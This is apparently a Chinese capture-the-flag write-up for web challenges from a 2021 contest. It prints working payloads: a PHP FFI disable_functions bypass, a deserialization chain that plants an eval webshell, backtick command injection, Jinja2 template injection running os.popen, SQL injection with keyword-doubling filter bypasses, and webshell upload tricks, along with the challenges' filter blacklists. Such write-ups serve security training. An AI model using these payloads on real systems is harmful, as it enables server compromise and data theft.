检查phpinfo,发现禁止了大量函数`pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,system,putenv` 根据题目描述并检查phpinfo,发现配置并开启了ffi,因此可以利用ffi bypass disable function exp如下 ```php <?php $cmd="/readflag"; $ffi=FFI::cdef("int system(const char *command);"); $ffi->system("$cmd > /tmp/out"); echo file_get_contents("/tmp/out"); @unlink("/tmp/out"); ?> ``` 将该文件放到`/tmp`目录下,利用index.php的action进行包含即可getflag ![图片标题](https://leanote.com/api/file/getImage?fileId=61a3786dab644142b4537df6) ![图片标题](https://leanote.com/api/file/getImage?fileId=61a37876ab644142b4537df7) 当然也可以直接使用蚁剑的bypass disable function插件 ![图片标题](https://leanote.com/api/file/getImage?fileId=61a37883ab644142b4537df8) --- 除了对二次渲染后的图片进行包含外,还可以对`phpinfo.php`进行包含 [PHP文件包含漏洞(利用phpinfo)](https://github.com/vulhub/vulhub/blob/master/php/inclusion/README.zh-cn.md) ### 5.3 ezpop 考点: 1. __wakeup 绕过 2. date()函数对格式字符串进行转义 3. create_function 绕过__wakeup使得`openfunc->object`指向`evil` `evil->b`指向`normal`,`evil->c="\\s\h\\e\l\l"`使得执行date函数后等于`shell` 绕过黑名单 ```php preg_match('/system|eval|exec|base|compress|chr|ord|str|replace|pack|assert|preg|replace|create|function|call|\~|\^|\`|flag|cat|tac|more|tail|echo|require|include|proc|open|read|shell|file|put|get|contents|dir|link|dl|var|dump|php/i',$this->data) ``` 使用`<?=`代替`<?php` 1. 使用`create_function`创建函数 exp如下 ```php <?php class openfunc { public $object; } abstract class hack { public function action() { $this->pass(); } abstract public function pass(); } class normal { public $d; } class evil extends hack { public $data; public $a; public $b; public $c; public function pass() { } } var_dump(date("\\s\h\\e\l\l")); $a = new openfunc(); $b = new evil(); $c = new normal(); $b->b = $c; $b->c = "\\s\h\\e\l\l"; $shell = base64_encode('@eval($_POST[a]);'); $b->data = "<?=\n\$func='c'.'r'.'e'.'a'.'t'.'e'.'_'.'f'.'u'.'n'.'c'.'t'.'i'.'o'.'n';\$test=\$func('\$x','e'.'v'.'a'.'l'.'(b'.'a'.'s'.'e'.'6'.'4'.'_'.'d'.'e'.'c'.'o'.'d'.'e(\$x));');\$test('$shell');\n?>"; $a->object = $b; $str = serialize($a); $str = str_ireplace('O:8:"openfunc":1:', 'O:8:"openfunc":2:', $str); var_dump($str); var_dump(base64_encode($str)); ``` 2. 使用`<?= $_POST[0]($_POST[1]);?>` POST传入`0=system&1=ls /` 3. 使用`<?= passthru(urldecode(xxx))?>` ### 5.4 PictureGenerator 关键代码 ```python data = request.form.getlist('text')[0] data = data.replace("\"", "") data = data.replace("$","") name = "".join(random.choices(chars,k=8)) + ".png" os.system(f"python3 gene.py {name} \"{data}\"") ``` 由于`$`被过滤,所以传入\`\`去构造命令执行 ```python #test.py import sys print(sys.argv[1]) ``` ``` python3 test.py "`whoami`" misaka python3 test.py "`pwd`" /home/misaka/AttackCode python3 test.py "$(whoami)" misaka python3 test.py "$(pwd)" /home/misaka/AttackCode ``` ```python import requests proxies={"http":"http://127.0.0.1:7890"}#因为服务器在台湾,所以使用代理 payload="cat /flag" data={"text":"`%s > static/images/misaka.txt`"%payload,"submit":":generate:"} requests.post(url="http://35.229.138.83:12909/generate",data=data,proxies=proxies) r=requests.get(url="http://35.229.138.83:12909/static/images/misaka.txt",proxies=proxies) print(r.text) ``` ### 5.5 simple-php 题目提示`代码写着写着就黑屏` 猜测使用vim并存在swp文件 访问`index.php.swp`即可下载 可以使用`vim -r index.php.swp`进行恢复,也可以直接打开查看 ```php <?php function getflag(){ echo file_get_contents("./flag"); } if(isset($_GET['code'])){ $code=$_GET['code']; if(strlen($code)>14){ die("too long !"); } if(preg_match('/[a-zA-Z0-9_&^<>"\'$#@!*&+=.`\[\]{}?,]+/',$code)){ die(" No ! No !"); } @eval($code); } ``` 过滤规则中没有对`~`进行过滤,同时环境为php7,因此将shell取反即可 ```python import requests proxies={"http":"http://127.0.0.1:7890"}#因为服务器在台湾,所以使用代理 function="getflag" payload="" for i in function: payload+="%"+hex(255-ord(i))[2:] payload="(~"+payload+")();" r=requests.get(url="http://35.229.138.83:15320/?code="+payload,proxies=proxies) print(r.text) ``` ![图片标题](https://leanote.com/api/file/getImage?fileId=61a3776cab644142c083e03a) ![图片标题](https://leanote.com/api/file/getImage?fileId=61a37780ab644142c083e03c) ### 5.6 easy-unserialize 反序列化字符串逃逸 ```php <?php class Demo{ public $a="asdf"; } $test=new Demo(); echo serialize($test)."\n"; ?> ``` `O:4:"Demo":1:{s:1:"a";s:4:"asdf";}` ```php <?php class Demo{ public $a="asdf"; } $str='O:4:"Demo":1:{s:1:"a";s:4:"asdf";}123456'; var_dump(unserialize($str)); ?> ``` ``` object(Demo)#1 (1) { ["a"]=> string(4) "asdf" } ``` 反序列化的过程是`{`最近的`;}`完成匹配并停止解析,在序列化结果的结尾加上无意义字符串仍然能够进行反序列化 exp如下 ```php <?php highlight_file(__FILE__); class getflag { public $file; public function __destruct() { if ($this->file === "flag.php") { echo file_get_contents($this->file); } } } class tmp { public $str1; public $str2; public function __construct($str1, $str2) { $this->str1 = $str1; $this->str2 = $str2; } } $str1 = 'easyeasyeasyeasyeasyeasyeasyeasyeasy'; $str2 = ';s:4:"str2";O:7:"getflag":1:{s:4:"file";s:8:"flag.php";}'; $data = serialize(new tmp($str1, $str2)); $data = str_replace("easy", "ez", $data); unserialize($data); ``` ### 5.7 thinkphp [thinkphp 5.0.23 rce](https://www.cnblogs.com/shenjuxian/p/14097169.html) ![图片标题](https://leanote.com/api/file/getImage?fileId=61a37738ab644142b4537def) ### 5.8 ezPy [ssti模板注入](https://www.cnblogs.com/bmjoker/p/13508538.html) 传入`name={{2+2}}`,报错,返回`jinja2` 传入`name={{2-2}}`,返回`0`,说明存在模板注入 传入`name={{%27%27.__class__.__mro__[1].__subclasses__()}}`列出子类的集合 `<class 'os._wrap_close'>`适合被利用,其位置为118 传入`?name={{%27%27.__class__.__mro__[1].__subclasses__()[118].__init__.__globals__[%27__builtins__%27][%27eval%27]("__import__(%27os%27).popen(%27whoami%27).read()")}}`返回`root` 传入`?name={{%27%27.__class__.__mro__[1].__subclasses__()[118].__init__.__globals__[%27__builtins__%27][%27eval%27]("__import__(%27os%27).popen(%27cat%20/flag%27).read()")}}`即可getflag ### 5.9 ez-rce [无参数RCE](https://github.com/AMDyesIntelno/huaQ/tree/master/PHP%20trick/%E6%97%A0%E5%8F%82%E6%95%B0RCE) fuzz脚本 ```php <?php #var_dump(get_defined_functions()["internal"]); $func=array(); $j=0; for ($i=0;$i<count(get_defined_functions()["internal"]);$i++) { if (!preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i',get_defined_functions()["internal"][$i])) { $func[$j]=get_defined_functions()["internal"][$i]; $j++; } } #print_r($func); $a=['getenv','getallheaders','get_defined_vars','session_id','getcwd','phpversion','localeconv','time','localtime','array_rand','array_flip','array_reverser','current','pos','end','floor','ceil','sqrt','dirname','chdir','scandir','system','sin','cos','tan','sinh','cosh','tanh','next','chr','ord','str_split','strval','fclose','tmpfile','file_get_contents','highlight_file','show_source','readfile','readgzfile','file']; #print_r($a); for($i=0;$i<count($func);$i++){ for($j=0;$j<count($a);$j++){ if($a[$j]==$func[$i]){ var_dump($a[$j]); } } } ``` fuzz结果如下,可以看到`time`相关的函数没有被过滤,`localtime()`返回一个数组,秒在第一位,可以通过读取秒数转化为字符来构造`.` ``` string 'time' (length=4) string 'localtime' (length=9) string 'session_id' (length=10) string 'str_split' (length=9) string 'chr' (length=3) string 'ord' (length=3) string 'system' (length=6) string 'ceil' (length=4) string 'floor' (length=5) string 'sin' (length=3) string 'cos' (length=3) string 'tan' (length=3) string 'sinh' (length=4) string 'cosh' (length=4) string 'tanh' (length=4) string 'show_source' (length=11) string 'strval' (length=6) string 'fclose' (length=6) string 'chdir' (length=5) string 'scandir' (length=7) string 'end' (length=3) string 'next' (length=4) string 'array_flip' (length=10) string 'pos' (length=3) ``` exp如下 ```python import time import requests headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36', 'Content-Type': 'application/x-www-form-urlencoded', 'Connection': 'close'} url = "http://35.229.138.83:12807/" proxies = {'http': 'http://127.0.0.1:7890'} def scandir(): data = {'shell': 'var_dump(scandir(chr(pos(localtime(time())))));'} r = requests.post(url=url, headers=headers, data=data) print(r.text) def getflag(): data = {'shell': 'show_source(end(scandir(chr(pos(localtime(time()))))));'} r = requests.post(url=url, headers=headers, data=data, proxies=proxies) print(r.text) if __name__ == '__main__': while 1: if time.strftime("%S", time.localtime()) == str(ord('.')): # scandir() getflag() break ``` ![图片标题](https://leanote.com/api/file/getImage?fileId=61a37700ab644142b4537dee) ### 5.10 baby-unserialize 考点: 1. __wakeup绕过 2. 反序列化16进制编码绕过 序列化字符串中的字母含义 |字母|解释|备注| |:---:|:---:|:---:| |a:array|数组|| |b:boolean|布尔值|| |d:double|浮点数|| |i:integer|整数|| |r:reference|对象引用|| |s:string|字符串|**大写的S(使用转义字符)替换小写的s即可用16进制表示**| |O:class|普通类|| |N:null|NULL|| |R:pointer reference|指针引用|| |U:unicode string|Unicode字符串|| ```php <?php class baby { public $filename = "index.php"; public function __construct() { $this->filename = "flag.php"; } } $b = new baby; var_dump(serialize($b)); $str = str_ireplace('O:4:"baby":1', 'O:4:"baby":2', serialize($b));//__wakeup绕过 var_dump($str); ``` `O:4:"baby":2:{s:8:"filename";s:8:"flag.php";}` ### 5.11 easy-sql 关键代码 ```php <?php function waf($var) { $blacklist = array("select", "union", "flag", "or", "ro", "where"); $var = str_ireplace($blacklist, "", $var); return $var; } ``` 与`easy-upload`的过滤方式一样 传入 `admin` `admin"` 报错,猜测闭合方式为`"` 传入 `1" oorr 1=1 oorrder by 1#` `1` 正常回显 传入 `1" oorr 1=1 oorrder by 2#` `1` 正常回显 传入 `1" oorr 1=1 oorrder by 3#` `1` 正常回显 传入 `1" oorr 1=1 oorrder by 4#` `1` 报错,可知一共三列 传入 `1" and 1=1 ununionion seselectlect 1,2,grrooup_concat(table_name) frroom infoorrmation_schema.tables whwhereere table_schema=database()#` `1` 得知共有两个table分别为`flag`和`users` 传入`1" and 1=1 ununionion selselectect 1,2,grrooup_concat(flflagag) frroom flflagag#` `1` getflag ### 5.12 checkin ![图片标题](https://leanote.com/api/file/getImage?fileId=61a37680ab644142b4537deb) ![图片标题](https://leanote.com/api/file/getImage?fileId=61a37689ab644142b4537dec) ### 5.13 easy-upload 关键代码 ```php $blacklist = array("php", "php5", "php4", "php3", "php2", "html", "htm", "phtml", "pht", "htaccess", "ini"); $file_ext = str_ireplace($blacklist, "", $file_ext); ``` 存在黑名单关键字替换,双写绕过即可,假设文件拓展名为`pphphp`,经过`str_ireplace`后变为`php` 上传一个`xxx.pphphp`的webshell即可 ### 5.14 baby-upload 上传一个`xxx.php`的webshell即可 ### 5.15 baby-sql 传入 `admin` `admin'` 报错,猜测闭合方式为`'` 传入 `1' or 1=1 order by 1#` `1` 正常回显 传入 `1' or 1=1 order by 2#` `1` 正常回显 传入 `1' or 1=1 order by 3#` `1` 正常回显 传入 `1' or 1=1 order by 4#` `1` 报错,可知一共三列 传入 `1' and 1=1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#` `1` 得知共有两个table分别为`flag`和`users` 传入 `1' and 1=1 union select 1,2,group_concat(flag) from flag#` `1` getflag 打赏还是打残,这是个问题 赏 Wechat Pay Alipay 2021 西湖论剑部分题目 Writeup
没有帐号? 立即注册